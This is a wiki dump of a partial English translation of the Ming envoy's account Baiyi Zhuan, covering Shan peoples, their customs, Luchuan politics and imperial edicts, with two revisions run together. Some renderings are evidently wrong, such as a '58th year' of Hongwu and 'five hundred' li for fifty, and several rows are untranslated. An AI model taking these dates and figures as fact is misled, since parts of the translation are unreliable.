couple. White cloth is wrapped around their head and draped on their shoulders in a printed way. |- |哈杜，巢居山林，無衣服，不识农业，惟食草木禽兽，善骑射。冷則抱巨石，山坡間往復奔走，以汗出为度。 |'''Hā dù''' ('''哈杜''') [people] reside in nests in mountain forests; they do not wear clothes. They have no knowledge of agriculture. Only eating vegetation and birds and creatures. They are adept at horses and archery. [When] cold, they grab a boulder and make running trips back and forth between mountainsides until they perspire out to the temperature. |- |弩人，目稍深，貌尤黑，额颅及口邊刺十字十余。 |'''Nǔ''' people ('''弩人'''; crossbowman people), [have] deep-set eyes, [their] appearance is outstandingly dark. Their forehead and mouth edges are tattooed with crosses more than ten times. |- |有结些者，從耳尖連颊皮破，以象牙为大圈，横贯之，以花布裹頭，而垂余布於後，衣半身衫，而袒其肩。婦人未详。其人居戛璃者多。 |[There] is some knotted "Zo" people<ref>This translation is messy. However, it is the first use of the Zhexie/Jiexie term, which was popularised during the Qing era. However, this early, 些 Xie was actually Suo, like the Mosuo people. Hence, the name appears to be a misrendering of Zo people from an intermediary translator, possibly.</ref>, from the tips of the ears to the cheeks, the skin is pierced. Using ivory as a large ring, they pass it horizontally through [the pierced skin]. Printed cloth is wrapped around the head and hangs down onto their back as a partially wrapped robe and bears their shoulders. Nothing is known/reported concerning the women.<ref>Likely possibly meaning that the women are indistinguishable from men. An observation echoed by the British of the Zo people during the colonial era.</ref>. Many of these people habitat at '''Kalay'''. |- |諸夷言语習俗雖异，然由大百夷为君長，故各或效其所为。夷人有名不讳，無姓。 |Although the various barbarian languages and customs are different, they follow the Greater One Hundred Barbarians as their central ruler. Therefore, possibly each group imitates that they do. The Yi people have names but observe no naming taboos; they have no surnames. |- |無医卜等书。不知时节，惟望月之盈亏为候。有事惟鸡卜是决。疾病不知服药，以姜汁注鼻中。病甚，命巫祭鬼路側，病疟者多愈，病熱者多死。地多平川沃土，民一甸率有數十千户，眾置貿易所，谓之街子。婦人用锄地，事稼穑，地利不能尽，然多产牛、羊、鱼、果。 |There are no books on medicine and divination. They are unaware of seasons. Only the moon in its waxing and waning is observed. For matters, a chicken is used for divination. For diseases they do not know how to take medicine. They pour ginger juice into their noses. For extreme sickness, the shaman offers spirit sacrifices next to the road. Those suffering from malaria are likely to recover. Those with a fever are more likely to die. The land is flat with plains and fertile, the people of a district can lead up to ten thousand households. They install commercial trade posts known as ''street markets'' ('''街子'''; Jiē zǐ). Women hoe and weed the soil and [attend] matters to do with sowing and reaping. The productivity of land cannot be exhausted, as there are many ox, sheep, fish and fruits. |- |其气候：春夏雨，秋冬晴，腊月亦如春，昼暄夜冷，晓多烟雾，無霜，春秋烟瘴甚盛。 |Their climate: In spring and summer, it rains. In autumn and winter, it is clear. In the 12th Lunar month ('''December-Feburary''') it feels like spring. The daytime is warm, and the nighttime is cold. At dawn, there is a lot of fog. They have no frost. Spring and Autumn miasma carries an excessive level of malaria. |- |其飲食之异者：鳅、鳝、蛇、鼠、晴蜓、虫负、蛟、蝉、蝗、蚁、蛙、土蜂之類以为食；鱼肉等汁暨米汤信宿而生蛆者以为飲。 |Their food and drink are unusual in the following ways. Loach, eels, snakes, dragonflies, insects, aquatic animals, cicadas, locusts, ants, frogs, and scoliod wasps are all types of food. They drink the juice of fish, meat, and rice gruel, which, over two nights, gain maggots, which are eaten. |- |其草木禽兽之异：草則秋間數十百株结为一聚，地产此草，烟瘴尤甚。树木多有三四株结为連理。有大如斗之柑，有鲇頭鲤身之鱼，水牛頭黄牛身之牛，绵羊頭山羊身之羊。雄鸡多伏卵，亦有生卵者。者闌有一池，沸如汤，人多投肉熟之。 |Their plants and animals are unusual: in autumn, their grass joins from hundreds of stalks to cluster. The land these grasses grow on has an excessively strong malarial miasma. Trees often produce multiple stumps in a fusion. There are large tangerines as large as dippers. There is [a] fish with a sheatfish head and carp bodies. There are oxen with water buffalo heads and yellow ox bodies. There are sheep with sheep heads and mountain goat bodies. Roosters brood over eggs, there are also [males] that lay eggs. At '''Zhě lán''' ('''者闌''')<ref>On the Shan Myanmar and China border near Muse.</ref>, [the size of] ponds for boiling soup. People often cast mature meat in it. |- |境内所产珍物：雅琥、琥珀、犀、象、鹦鹉、孔雀、鳞蛇、脑、麝、阿魏、金、銀、玻璃之類。 |Within its borders are the following precious items it produces: elegant amber, amber, rhinoceros, elephant, parrots, peacocks, snake scales, brains, musk deer, Resina Furelae, gold, silver, glass types of products. |- |其山水险隘。北有高良弓山，横亘二百余里，高五十余里，與怒江相倚。西有馬安山，山有一关，若一人守关，萬夫难入。東为麓川江，可通舟楫。南與金沙江合而入於西海。南下交趾界。金沙江之南，有東胡、得冷、緬人三國。緬之西即西天也。 |The mountains have narrow, dangerous river passes. North there is the Gaoligong Mountains, it horizontally extends two hundred '''Lǐ''' ('''里'''), and is tall as five hundred '''Lǐ''' ('''里''') right next to the '''Nùjiāng''' ('''怒江'''). West is the '''Mǎ'ān Mountain''' ('''馬安山'''). The mountain has one mountain pass. If one person guards the pass, then ten thousand will struggle to enter. East is the '''Lù chuān River''' ('''麓川江'''). You can pass it in an oarboat. South is the '''Jīnshā River''' ('''金沙江''') which enters at the western sea. South it borders '''Jiāozhǐ''' ('''交趾'''; Vietnam). Further south of the '''Jīnshā River''' ('''金沙江''') are the three polities, which has '''Dōnghú''' ('''東胡'''； Eastern Barbarians), '''Dé lěng''' ('''得冷'''; Derung people) and '''Miǎn people''' ('''緬人'''; Burmese people). West of Burma lies the Western Regions<ref> A term for India and Central Asia, which were Buddhist.</ref>. |- |緬國古舍利國，又名狮子國，多佛塔。緬國與夷連歲横兵。洪武之亥冬，緬人诉於朝。丙子春，皇帝遣臣古训及桂阳李思聪至两國，諭以睦邻之义。 |Burma, formerly the '''Shèlì country''' ('''舍利'''), also known as the Lion Country, is filled with pagodas. Burma and the Yi Barbarians were in continuous warfare for years. During the reign of the Hongwu Emperor in the winter of the year of the boar ('''1395 A.D.'''), Burma issued a royal complaint. In Spring of the Year of the Rat, ('''1396 A.D.'''), the Emperor dispatched official Guxun and Li Cong of Guiyang to the two countries to order them to get on well as neighbours with righteousness. |- |} ===Statements and Relations between the Kingdoms=== {| class="wikitable" style="text-align:center; width:80%;" |+ Outcome of the envoys mission and political relations between Shans and Burmese. |- ! scope="col" | Original ! scope="col" | Translation |- |其諭緬國王曰： |In it, I addressed the King of Burma, saying: |- |『里路险遠，山川阻修，风殊俗异，此乃天造地設也。尔能勤使者，涉险遠，越邻邦以至中夏，其使者之难，冲烟突雾，晨進昏止，饥餐渴飲，吞吐烟岚，异风霜而方至。其为使者，不亦难乎！古人有云：诚君子將有事於遠，友千里之外，神交而志通。今萬里之外，尔能勤使而至，遠修其好，美絕古而惟今。然排难解纷之事，朕之旨意，恨不一言而正，使彼此各罢兵守，樂黎民於市野，民居共处，砃相邻而同井飲，籍雖两國之民，居处难分，惟存关市有讥，是其和也。若尔緬不主衅，夷不强凌，如此，雖弱自保，以奉天道。其或不听朕命，忿争不已，天將昭鉴，福善祸淫，迟速可待。鯩至，朕不多诫。但诚可以交天人，尔其审之，母忘朕諭。』 |The roads are dangerous, and far, mountains and rivers are obstructive and long. Their social ways and customs are different. This is what heaven and earth have established. Yet you are able to diligently [carry out your duties as an] envoy. Taking risks far, passing neighbouring countries to the Chinese heartland. Clashing with smoke, dashing through mist. Advancing at dawn and stopping at twilight, eating when hungry and drinking when thirsty. Breathing in and exhaling mountain vapours, enduring unfamiliar winds and frost before finally arriving. To be an envoy was this not difficult? The ancient people have a saying: <em>Truly, when a gentleman has affairs to undertake in distant places, he has friends a thousand <strong>Lǐ</strong> (<strong>里</strong>)， their spirits commune in spirit and their intentions are mutually understood.</em> Now ten thousand '''Lǐ''' ('''里''') away, you can diligently envoy and arrive, from afar cultivate their friendship. However, regarding the matter of resolving difficulties, this is my intention. I lament that I cannot settle the matter in a single utterance as to cause both sides to cease war and guard their territory so that the common people might enjoy marketplaces and countryside. Let the people coexist [as] neighbours of white stone who drink from the same well. Although registered as the people of two countries, their dwellings are difficult to distinguish. Only the inspections at frontier markets will remain. This would be peace between them. If the Burmese do not initiate hostility, and the '''Yi''' do not forcefully oppress you, in this way, althought [one is] weak it may defend itself, as to follow the law of heaven. If they do not listen to my order, angry contention will not cease; heaven will see it clearly. Blessed will the good, and calamity will be brought on the transgressor, quick or slow; the consequences will come. <strong>Lún</strong> (<strong>鯩</strong>) arriving, I will not elaborate further; only sincerity can bring one into accord with heaven and humanity. You must consider this; do not forget my instruction. |- |諭思侖發曰： |Above '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) spoke: |- |『朕中國先古圣人，驭顽礼德，各有条章。是条章也，列圣相继，守而行之，上下相安，黔黎樂业。何也？諸侯敬畏，世禄子孙，國祚绵長，乃九伐之功驗也。列國敢有凭弱犯寡者，天子發兵以眚之；贼贤害民者，亦發兵以伐之；暴内凌外，則兴師以坛之；野荒民散，則用兵以削之；负固不服，則舉兵以侵之；贼殺其亲，則正其罪以殺之；放弑其君，則明其罪以诛之；犯令凌政，則杜而絕之；内外乱，鸟兽行，則殄灭之。九伐之征如是也。尔思侖發，以中國较之，合问凭弱犯寡之由。何以見？歲以兵寇車里，不时侵掠八百，恃强犯緬；戛璃國小民寡，而已平之，斯说也，不過告诫之词。中國周临四夷，與諸酋長地里相接，居民亦相密迩，如此者，耳闻之邦若干，目擊之邦若干，朕未嘗恃强凭凌，絕灭其嗣者。雲南之地，已为我有，似乎尚强以取之，非也！乃元世子孙梁王者，恃元之苗裔，匿我有罪，納我逋逃，诱我邊守，是乃不得已而發问罪之師，非無故而兴師。此乃元运天更，其苗裔不当安处。况生事於我邻邦，其理势使然，夷如反掌。尔麓川之蠢，初擅兴金齒之役，次谋景東而寇定邊，理当大發精兵而较胜负。朕释而不较，未嘗强尔为約束之邦，听尔自为声教，今又几年矣。近闻蚕食邻邦，意在扩土地而擅有其眾，又將为我西南之役。噫，未可！古中國圣人有云：‘山川地理人物之類，乃神器也，非人强有，必天授然後得之’。尔思侖發不修邻邦之好，三面發兵，蚕食諸國，其贪也如是，其谋也如是。彼麓川周临之國，始古至今，各有主者，未嘗吞并。朕雖不能止尔，听尔自为，果天道使然，尔以人事应之，或为而可。噫！以朕戒尔守全則可，不守全而以全动，設若全亏，是为全亡，莫如守全以圖绵長，不亦美乎？』 | |- |由是二國罢兵和好。 |because of the truth, the two countries ceased war and reconciled. |- |时古训等适遇百夷其部下酋長曰刀干孟者叛其國，余等以大义諭其部眾，而叛者闻之稍却。於是，思侖發欲留余等以为援，且進以金寶象馬等物，故余以书示之曰： |At the time, Guxun, happened to encounter One Hundred Barbarians subordinate chief named '''Dāo gànmèng''' ('''刀干孟''') betray the country. We and the others explained/instructed his followers on the basis of the great principle/righteous cause and as a result, the rebels hearing it gradually withdrew. As a result, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) wished to preserve us as a source of assistance. He offered gold, valuables, elephants, horses and other gifts. Hence I presented this letter to reveal to him saying: |- |『吾闻君上有怀遠之德，遠臣有敬上之心，始古迄今，莫违此义。夫君居九重之上，雖欲顷刻目尔遠臣，未可得也，臣处萬里之外，即欲朝暮身亲君上，亦未易得也。故朝廷有將命之官，使之宣德布威；而遠方有承命之宜，期其輸忠納款。今天子应天顺民，奉天为治，四维八極，尽为臣妾，無有专擅，不敢违逆。西南一区，夷酋亦眾，惟尔麓川，多蒙恩宠，既受以官，復加以服。况贤王亲临尔境，而德惠數及尔身。为尔计，則將度其心，量其才，何为而可以尽忠天子，何为而可以致敬贤王，又何为而可以安邊境而不干天怒，又何为而可以教百姓而不违法度？借曰邊境不安，必思曰，我事上未忠或未至，而眾不服我耶？百姓违法，必思曰，我守職已或有僭而民亦犯上耶？於是我則尽其忠，去其僭，如此，則邊境自安，人民從教矣。且吾以尔目擊效驗明之：往年思瓦發不服朝廷，轻犯金齒，天子雖未问罪，天則假手於達鲁方等，而思瓦發被戮。刀思朗不從尔命，窃寇定邊，尔雖未能息其兵，天則助威於我邊將，而刀思朗等即灭。惟尔知天命，達人理，故能享天禄，守人爵。迩来天子恐尔所为，或涉放肆，特敕諭以戒之；贤王恐尔無知，或生疑懼，特令旨以恤之。此恩此德，穷天極地。尔之披肝露胆，开心見诚，吾尽見矣；尔之尊重朝廷，敬奉殿下，告亦見矣。今尔固留吾辈，其意本美。近者尔甸寨少宁，刀干谋异，吾將回朝为尔明白其事，尔乃留我，使我不速還朝，假如刀干鸣尔留难天使之非於朝，則反误尔敬君之心矣。且尔赠以金、銀、裀褥、馬、象等物，吾固不受者，非見怪也，實相爱也。何則？朝廷恩尔，抚安尔邦，未嘗令使者取货於尔也。夫货财，饥不可以充口，疾不可以救死。况中國金玉成山，象馬若蚁，未以为寶也，惟所寶者，圣君、明王、忠臣、烈士、强兵、勇將、孝子、顺孙等事，其他财物，如粪土耳。姑以尔境内眾所闻者明之：昔隋史萬歲守邊，夷而贪财，以致殺身。梁毗一金不受，而大服夷眾。此事甚白。吾为圣朝天使，必不为财物所蛊，惟恐吾之使令往来小人，不体吾意，蛊惑尔心，特此叮咛。尔其备审此书，体吾真意，早送吾辈還朝，則尔敬君之心，不浅浅也。』 | |- |书至，思侖發悦服，遂邀至其家，設宴畢，與其眾送出境外。 |When the letter arrived, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) was pleased, and received it favourably. Thereupon invited him to his home. After the banquet, together with his retinue escorted them beyond the borders. |- |百夷，由金齒、蒲漂過怒江即其境。沿江東數十里，上有高良弓頗险。其岭有一寨。過一寨下四十里，地名养列，自此抵麓川無险隘之虞。由麓川经蠻牛、莽港等路，渡谨卯，從蒙戛等甸至麻林界，登金沙江之舟，下流二十日至緬國。國王眾呼为卜剌浪，王之妻呼为米泼剌。 | |- |} ==References== {{reflist}} [[Category:Chinese literature]] [[Category:Non-fiction books]] [[Category:Medieval historical works]] [[Category:Works originally in Chinese]] [[Category:Pages with foreign language text]] [[Category:Indigenous peoples]] [[Category:Guidebooks]] [[Category:History of China]] [[Category:Wars]] [[Category:Diplomacy of China]] [[Category:Subject:Military history]] [[zh:蛮书]] 7uiurbbh4cvf7nqmyunhrr7b6zxtig4 4670866 4670865 2026-09-18T07:00:31Z Taitesena 3485636 4670866 wikitext text/x-wiki __NOTOC__ {{incomplete translation}} {{Translation header | title = Baiyi Zhuan (百夷傳) | author = Qian Guxun (錢古訓) | override_editor = | translator = 'Taitesena' | section = | previous = | next = | shortcut = | year = | language = zh | original = | notes = The Baiyizhuan, or, '''Biography of 100 Barbarians''', was compiled by Qian Guxun (錢古訓) with Li Sicong (李思聪) and sent to the Ming Dynasty but never formally published yet stored away. Copies emerged under both names however, most agree that both envoys wrote their own accounts of Myanmar to control the issue of Shan Kings on the borders. This version is attributed to Qian Guxun and sourced from Wikisource. }} == Front Matter == # [[Baiyi Zhuan/Translator's Note|Translator's Note]] # [[Baiyi Zhuan/Influences|Historical Context]] ==Translation== ===Introduction=== {| class="wikitable" style="text-align:center; width:80%;" |+ Premable to the purpose and context of the document and political situation. |- ! scope="col" | Original ! scope="col" | Translation |- |百夷，在雲南西南數千里，其地方萬里。景東在其東，西天古刺在其西，八百媳婦在其南，吐番在其北；東南則車里，西南則緬國，東北則哀牢〈（今之金齒衛也）〉，西北則西番、回紇。 |[The] One Hundred Barbarians are a few thosand '''Lǐ''' ('''里''') southwest of Yunnan. There region is very far away. '''Jǐngdōng''' ('''景東''') is east of them. The western regions Gǔ cì (古刺) [people] are west of them. South of them are the '''Eight Hundred Xífù''' ('''八百媳婦'''; Laos). North of them is Tibet. Southeast of them is Chē lǐ (車里), southwest is Burma, Northeast is '''Āiláo''' ('''哀牢''')<ref>The ancient tribal confederation of the Yongchang-Gaoligong area.</ref> Today, these are the gold tooth people. Northwest of them is Western Barbarians and '''Huíhé''' ('''回紇'''; Uyghur people). |- |俗有大百夷、小百夷、漂人、古剌、哈剌、緬人、结些、吟杜、弩人、蒲蠻、阿昌等名，故曰百夷。 |The customs of Greater One Hundred Barbarians, the Lesser One Hundred Barbarians, Pyu people, Gǔ cì (古刺) [people], Hā cì (哈刺) [people], Burmese people, '''jiēsuò''' （'''结些''')<ref>There is reason to believe that these may be the Zo people. The Jie however is difficult to understand, likely a terminology transfer issue from intermediaries. Like the Mosuo people, I suggest this to be read as Jie Suo. If so, this would be the earliest mention of Zo terminology since Vincent Sangermono.</ref>, '''Yíndù'''（'''吟杜''')<ref>These are only mentioned once in the document. Whether it's a mix-up with Hadu, or referring to Indians, is unknown.</ref>, Nǔ people (弩人; crossbowman people), Pú (蒲) and Āchāng (阿昌), among others, can be spoken of as the One Hundred Barbarians. |- |漢以前未嘗通中國，諸葛亮征蠻，亦抵怒江而止。唐天寶中，夷人始随爨歸王入朝。其眾各有部領，不相統屬。 |Before the Han dynasty, they had no contact with China.<ref>The main exception may be the Ailao people.</ref> '''Zhūgé liàng''' ('''諸葛亮''') went on an expedition against the barbarians, where he stopped right up against the '''Nùjiāng River''' ('''怒江'''). During the Tianbao Era of the Tang Dynasty, the barbarians began to follow the '''Cuàn''' ('''爨''') and '''Guī''' ('''歸''') clan leaders.<ref>The '''Cuàn''' ('''爨''') eventually founded the Kingdom of Nanzhao, which ruled powerfully in the region, competing with Tibet and Tang China.</ref> The people had their own leaders and were not unified. |- |元憲宗三年，世祖由吐番入麗江，自葉榆平至雲南〈（葉榆即大理也）〉。明年，命將兀良哈臺征降夷地。遂分为路二十、府四、甸四十有四、部二十有六、各設土官，置金齒都元帥府領之。有所督，委官入其地，交春即還，避瘴气也。 |In Emperor Xianzong's 3rd year in the Yuan Dynasty, Emperor Shìzǔ (世祖; Kublai Khan) entered '''Lìjiāng''' ('''麗江''') from Tibet and himself in '''Yèyú''' ('''葉榆'''; Present Day Dali) brought peace to Yunnan. The following year, [he] commanded General UriyangKhadai to pacify the barbarian lands. The region was transformed into twenty circuits, four prefectures, forty-four districts and twenty-six departments, each with indigenous officials overseen by the Gold Teeth Commander in Chief.<ref>A Tai Shan Leader likely.</ref> Officials were appointed to administer certain lands, returning by spring to avoid malarial miasma. |- |至正戊子，麓川土官思可發數侵扰各路，元帥搭失把都討之，不克。思可發益吞并諸路，而遣其子滿散入朝，以輸情款。雖奉正朔，納職貢，而服用制度，擬於王者。思可發死，子昭併發立。八年，傳其子臺扁。踰年，臺扁從父昭肖發殺之而自立，期年，盗殺昭肖發，眾立其弟思瓦發。 |In the the 8th year of the Zhizheng era ('''1348 AD''') Lùchuān (麓川) indigenous chief '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) had been countlessly harassing and invading every road. The Commander-in-Chief '''Dāshībǎ''' （'''搭失把'''） sent armed forces to the capital but was unable to. '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) annexed further circuits and dispatched his son '''Mǎnsàn''' ('''滿散''') to the imperial court to offer terms of service. Although they accepted tribute and the official calendar of the Ming dynasty, their clothes and administration resembled that of a monarchy. '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) died, his son Zhāo bìngfā ('''昭併發'''; Hsö Pem Hpa) was established. Eight years later it passed to '''Táibiǎn''' ('''臺扁'''; Hsö Siu Hpa). A year later, '''Táibiǎn's''' ('''臺扁'''; Hsö Siu Hpa) uncle '''Zhāo xiàofā''' ('''昭肖發'''; , Hsö Kap Hpa) killed him himself and seized power. A year later, bandits killed '''Zhāo xiàofā''' ('''昭肖發'''; Hsö Kap Hpa) and established his younger brother '''Sīwǎfā''' ('''思瓦發'''; Hso Vau Hpa) [as ruler]. |- |國朝洪武辛酉，平雲南。明年，思瓦發寇金齒。是冬，思瓦發略于者闌、南甸。其屬達鲁方等輙立滿散之子思侖發，而殺思瓦發於外。即譴使貢白象、犀、馬、方物於朝。廷議不忍絕以化外，乃命福建左參政王鈍率雲南部校郭京美等，諭以向背利害，約以每歲貢獻之率，而遂内附。於是授思侖發为麓川平緬軍民宣慰。丙寅，復寇景東。明年，部屬刁思朗犯定邊，天子命西平侯沐英總兵敗之，獲刁思朗，夷人懼服。上以遠人不加約束，故官稱制度皆從其俗。 |In the current dynasty, in the 58th year (Xinyou) of the Hongwu Emperor ('''1381 A.D.'''), Yunnan was pacified. The next year, '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) plundered the Gold Teeth barbarians. That winter, '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) captured the territory of '''Zhělán''' ('''者闌''') and '''Nándiàn''' ('''南甸'''). His subordinate '''Dálǔfāng''' （'''達鲁方'''）placed '''Mǎnsàn's''' ('''滿散''') son, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) as ruler and killed '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) when outside. The offered tribute included white elephants, rhinoceroses, horses and other local products. The palace could not bear to cut ties with outside spheres of influence and commanded the Fujian Left Vice Official '''Wáng Dùn''' ('''王鈍''') to lead in the checking of the city walls of Yunnan, order discussions of pros and cons of allegience, discuss the annual tribute rate and secured their submission. He conferred '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) as the Burma Pacification Commissioner. In the third year ('''1386 A.D.'''), he returned to invade '''Jǐngdōng''' ('''景東'''). The next year, his subordinate '''Diāosīlǎng''' ('''刁思朗''') invaded '''Dìngbiān''' ('''定邊'''). The Emperor ordered Marquis of '''Xīpíng''' ('''西平''') '''Mù yīng''' ('''沐英''') to lead an army to defeat him where he caught '''Diāosīlǎng''' ('''刁思朗'''). The barbarians became fearful and submitted. In order not to restrict those far-away peoples, the official system and administration were all in their customs. |- |其下稱思侖發曰『昭』，猶中國稱君主也。所居麓川之地曰者闌，猶中國稱京師也。其屬則置『叨孟』以總統政事，兼領軍民。『昭錄』領萬餘人，『昭綱』領千餘人，『昭伯』領百人；領一伍者为『昭哈斯』，領一什者为『昭准』；皆屬於『叨孟』。又有『昭錄令』，遇有征调，亦與『叨孟』統軍以行。其近侍呼为『立者』，閽寺呼为『割斷』。大小各有分地，任其徭賦。 |'''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) is called '''Zhāo''' ('''昭'''), like how China uses "Lord". '''Lùchuān's''' ('''麓川''') [ruler's] dwelling place is called '''Zhělán''' ('''者闌'''), like how China uses the term "Capital". Their subordinates are known as '''Dāomèng''' ('''叨孟'''), who generally handled political affairs while simultaneously leading the military and civilians. '''Zhāolù''' ('''昭錄''') led over ten thousand households, '''Zhāogāng''' ('''昭綱)''' led over a thousand households, '''Zhāobó''' ('''昭伯''') led a hundred households. Those who led five soldiers were known as '''Zhāohāsī''' ('''昭哈斯'''), those who led ten soldiers were known as '''Zhāozhǔn''' ('''昭准'''). Each [of these] were part of the '''Dāomèng''' ('''叨孟'''). There is also '''Zhāolùlìng''' ('''昭錄令''') who also happen to carry out conscription for the '''Dāomèng''' ('''叨孟''') to gather an army to lead. Their attendants were known as '''Lìzhě'''（'''立者'''). Doorkeepers of Buddhist temples were called '''Gēduàn''' ('''割斷'''). Big or small each had distributed land appointed and endowed to them as compulsory servicefor corvee and taxes. |- |上下僭奢，雖微職亦繫鈒花金銀帶。貴賤皆戴筍籜帽，而飾金寶於頂，如浮圖狀，懸以金玉，插以珠翠花，被以毛纓，綴以毛羽。貴者衣綺麗。每出入，象馬僕從滿途。象以銀鏡數十聯綴於羈靮，緣以銀釘，鞍上有闌如交椅狀，藉以裀褥，上設錦障蓋，下懸銅響鈴，坐一奴鞍後，執長鉤驅止之。遇貴於己者，必讓途而往。凡相見必合掌而拜，習胡人之跪。長於己者必拜跪之，言則叩頭受之。叨孟以下見其主，則膝行以前，二步一拜，退亦如之。執事於貴人之側，雖跪終日無倦狀。貴人之前過，必磬折鞠躬。宴会則貴人上坐，其次列坐於下，以逮至賤。先以沽茶及蒌葉、檳榔啖之（沽茶者，山中茶葉，春夏間采煮之，實於竹筒内，封以竹箬，過一二歲取食之，味極佳，然不可用水煎飲）。次具飯，次進酒饌，俱用冷而無熱。每客必一仆持水瓶側跪，俟嗽口盥手而後食。食畢亦如之，而後起。客十則十人各行一客。酒或以杯，或用筒（筒以蕨楷，或用鵝翎管連贯，各長丈餘，漆之而飾以金，假若一酿酒，則漬以水一滿瓮，插筒手中，立標以驗其盏數，人各以次舉筒咂之。咂酒一盏，仍漬水一盏，傳之次客，味甚佳，至淡，水方止，俗呼为咂酒）。酒與食物必祭而後食，食不用筯。酒初行，一人大噪，眾皆合之，如此者三，乃舉樂。樂有三等：琵琶、胡琴、等笛、響盏之類，效中原音，大百夷樂也。笙阮、排簫、箜篌、琵琶之類，人各拍手歌舞，作緬國之曲，緬樂也。銅饒、銅鼓、響板、大小長皮鼓，以手拊之，與僧道樂頗等者，車里樂也。村甸間擊大鼓，吹芦笙，舞干为宴。長者授卑賤酒食，必叩頭受之，易以他器而食。食畢，仍叩頭而退。 |The people, both high and low [in status], were extravagantly overstepping [in their dress]. Even small duty officials fastened engraved, patterned belts of gold and silver. [Both] nobles and commoners wore bamboo-shoot-woven hats and decorated them with gold, like a crown resembling pagodas, hanging with jade and gold and inserted with pearls and colourful gems, covered with tassels and quilted feathers. The clothes of wealthy individuals are enchantingly beautiful. Whenever one goes out, elephants, horses, and servants fill the roads. The elephants have about ten or so silver mirrors attached to their reins and bridles, edged with silver nails. On the saddle, there is a railing resembling an old wooden-style armchair with cushion-like under padding, a mattress, and brocade above the top and copper ringing bells below [it]. A servant was seated behind the saddle, grasping a long hook to urge and stop [the elephant]. Upon encountering a wealthy person, they certainly yield the way to them. Commonly, when meeting one another, they certainly clasp hands and bow, adopting the kneeling [custom] of the Northwestern peoples [of China]. Elders to oneself are bowed to and kneelt before, and when speaking, they are subjected to kowtow to them. Those below '''Dāomèng''' ('''叨孟'''), seeing their masters, kneel before them, every two steps a bow, and repeat it during withdrawal. Attendants are at a wealthy person's side, despite kneeling all day, do not appear tired. When a wealthy person passes by, they bow deeply.<ref>The sentence is poetically describing the bow as "bending the body as to resemble 磬, a type of percussion instrument". </ref> In banquets, the wealthy are seated first, then next in line are the ones below them and so on, by means to the lowest [of status]. First, they are given tea, areca nuts and betel leaves (The given tea leaves are [harvested] in mountains and brewed in Spring and Summer, stuffed into bamboo tubes, sealed with bamboo leaves for one to two years, ready for consumption, tasting extremely fine, however, cannot be brewed by boiling in water for drinking. Next [to] be provided is rice, following that is wine and delicacies are are [consumed] cold and unheated. Every guest has a servant kneeling on the side holding a water bottle, waiting to cough and rinse the mouth and hands with water and then eat. [Upon] finishing eating this is repeated and then they rise. In the case of ten guests, ten people attend them, one per guest. Wine is either served in a cup or a tube (The tubes are made from Pistachio Bracken or goose plume linked together). Every length is one '''Zhàng''' ('''丈;''' approximately 3m) painted and decorated with gold. If brewing wine, one pot of water is added. Inserting the tube into the hand, it is used to check for the number of cups [it can hold]. Each person lifts the tube to sip from it. After sipping a cup, a cup of water is added, and it is passed to the next person; the taste is exceedingly fine. When the wine's taste dilutes, water is stopped, and this is called '''sipping wine'''.) Wine and good must be sacrificed, and then they eat. Chopsticks are not used to eat. At the begining of the wine [ceremony], one person loudly shouts and multiple people all join in. This is done three times, and then music is played. There are three such types of music: Chinese lute, Huqin (Chinese fiddle) and the flute with ringing cups and so on. It imitates the sounds of the central region<ref>The Yellow River Basin area of China. </ref> and the Great White barbarians, too. Bagpipe, lutes, panpipes, harp, pipa and so on. People each clap their hands and dance. It is performed in Burmese tunes and music. Copper gong, bronze drum, castanets, big, small and long leather drums struck with the hand. It is similar to Buddhist and Taoist music, as well as '''Chēlǐ''' ('''車里''') music. Villages and suburbs have space for striking bass drums, blowing reed pipes and dancing for the feast. Elders give food and drink to the lowly [people], who certainly must bear to kowtow them to exchange utensils and eat. [Upon] finishing eating, they still kowtow and then retreat. |- |凡貿易必用銀，雜以銅，鑄若半卵狀，流通商賈間。官無倉庾，民無税粮。每年秋季，其主遣亲信部屬往各甸，计房屋征金銀，谓之取差發（房屋一間，大者征銀一两、三两，小者一两而止）。無中國文字，小事刻竹木，大事作緬书，皆旁行为记。刑名無律，不知鞭挞，轻罪則罚，重罪則死。或殺，或用人扱殺。或用象打，或投於水，或以绳帛缢。男婦不敢为奸盗，犯則殺之。 |All commercial trade must use silver, mixed with copper, cast to appear like a half egg [shape] to circulate among merchants. The government has no granaries,<ref>There are two characters for granaries, the second is for small private ones, signifying that most did not have this system at all. </ref> the people [likewise] have no grain tax. Every autumn, the owners dispatch trusted aides and subordinates to go to each suburb to calculate and levy households' gold and silver. This is called to go collect money. (For each house: large ones are taxed one or three [taels] of silver, small ones are taxed one tael.) There is no Chinese script; small matters are carved into bamboo or wood, big matters are written into Burmese script, all written horizontally for recording. No laws govern punishment; they do not know whipping or corporal punishment. Petty crimes are penalised, and serious crimes lead to death. Some are killed [directly], while some have another person employed to kill them. Some use elephants to crush them, some throw them in water, while some are hanged with ropes. Men and women do not dare commit adultery or robbery, to violate so will kill them. |- |所居無城池濠隍，惟编木立寨，貴賤悉构以草楼，無窗壁门户，时以花布障围四壁，以蔽风雨而已。邮傅一里設一小楼，數人守之，公事雖千里遠，报在顷刻。無軍民之分，聚則为軍，散則为民。遇有战斗，每三人或五人出軍一名，择其壮者为正軍，呼为『锡剌』。锡剌持兵御敌，余人荷所供。故軍行五六萬，战者不滿二萬。兵行不整，先後不一。多以象为雄势，战則缚身象上。裹革兜，被銅铁甲，用長镖干弩，不習弓矢。征战及造作用事，遇日月食則罢之，毁之。 |The [ruler's] dwelling place has no walls, water moats, trenches or dry moats, only wooden stockades erected. Both nobles and commoners all constructed thatched houses with no windows, ramparts or doors, just printed cloth covering around all four walls, as to cover [from] wind and rain and nothing more. Every mile, there was a small post office, a few people guarded it, [thus] documents even as far as a thousand miles can be reported instantly. There is no distinction between military and civilian [people]. Once assembled, they became soldiers; once scattered, they became civilians. Upon encountering a war, every three or five people would produce one soldier; they would select the strongest to become the principal 